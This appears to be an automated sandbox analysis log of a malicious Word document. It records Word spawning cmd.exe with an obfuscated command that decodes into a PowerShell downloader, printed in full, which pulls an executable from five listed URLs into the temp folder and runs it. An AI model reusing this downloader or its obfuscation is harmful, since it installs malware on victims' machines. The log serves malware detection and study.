Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c %PrOGramDaTA:~0,1%%PrOgRAMData:~9,2% /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! \| FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe CmD /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! \| FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" ECHo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $J875='h091';$W625=new-object Net.WebClient;$D070='http://johnnycrap.com/d83eZ_hNyVj3JnT@http://bunonartcrafts.com/Qp5j51_GZPK@http://ppengenharia.com.br/6sk7tYPE_vMdL7A2@http://vitalacessorios.com.br/dVYmu_fO43@http://utorrentpro.com/s02i_CaWYziZFn'.Split('@');$N489='r042';$v751 = '991';$n959='v195';$E785=$env:temp+'\'+$v751+'.exe';foreach($s552 in $D070){try{$W625.DownloadFile($s552, $E785);$F100='P261';If ((Get-Item $E785).length -ge 80000) {Invoke-Item $E785;$j589='z016';break;}}catch{}}$M315='s379'; "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd') DO %B "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c assoc.cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c %PrOGramDaTA:~0,1%%PrOgRAMData:~9,2% /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! \| FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe CmD /V:/C "SET 4r5f=;'973s'=513M$}}{hctac}};kaerb;'610z'=985j$;587E$ metI-ekovnI{ )00008 eg- htgnel.)587E$ metI-teG(( fI;'162P'=001F$;)587E$ ,255s$(eliFdaolnwoD.526W${yrt{)070D$ ni 255s$(hcaerof;'exe.'+157v$+'\'+pmet:vne$=587E$;'591v'=959n$;'199' = 157v$;'240r'=984N$;)'@'(tilpS.'nFZizYWaC_i20s/moc.orptnerrotu//:ptth@34Of_umYVd/rb.moc.soirossecalativ//:ptth@2A7LdMv_EPYt7ks6/rb.moc.airahnegnepp//:ptth@KPZG_15j5pQ/moc.stfarctranonub//:ptth@TnJ3jVyNh_Ze38d/moc.parcynnhoj//:ptth'=070D$;tneilCbeW.teN tcejbo-wen=526W$;'190h'=578J$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& for /L %9 IN ( 560, -1 , 0)DO SEt WSEu=!WSEu!!4r5f:~ %9, 1!& If %9 eQU 0 ECHo !WSEu:~ 6! \| FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd')DO %B "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" ECHo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $J875='h091';$W625=new-object Net.WebClient;$D070='http://johnnycrap.com/d83eZ_hNyVj3JnT@http://bunonartcrafts.com/Qp5j51_GZPK@http://ppengenharia.com.br/6sk7tYPE_vMdL7A2@http://vitalacessorios.com.br/dVYmu_fO43@http://utorrentpro.com/s02i_CaWYziZFn'.Split('@');$N489='r042';$v751 = '991';$n959='v195';$E785=$env:temp+'\'+$v751+'.exe';foreach($s552 in $D070){try{$W625.DownloadFile($s552, $E785);$F100='P261';If ((Get-Item $E785).length -ge 80000) {Invoke-Item $E785;$j589='z016';break;}}catch{}}$M315='s379'; "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=Nfah=" %B IN ('assoc.cmd') DO %B "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c assoc.cmd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: Templates.LNK.0.dr	LNK file: ..\..\Templates
Source: index.html.LNK.0.dr	LNK file: ..\..\..\..\..\Desktop\index.html.doc

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Automated click: OK
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Automated click: OK

Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Equations.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/theme/_rels/theme1.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/_rels/settings.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = word/glossary/stylesWithEffects.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/item3.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item3.xml.rels
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Text Sidebar (Annual Report Red and Black design).docx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Element design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image2.jpg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = word/media/image10.jpeg
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/itemProps2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/item2.xml
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = customXml/_rels/item2.xml.rels
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = [trash]/0000.dat
Source: Insight design set.dotx.0.dr	Initial sample: OLE zip file path = docProps/custom.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/document.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/settings.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/_rels/document.xml.rels
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/styles.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/webSettings.xml
Source: ~WRD0002.tmp.0.dr	Initial sample: OLE zip file path = word/glossary/fontTable.xml

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
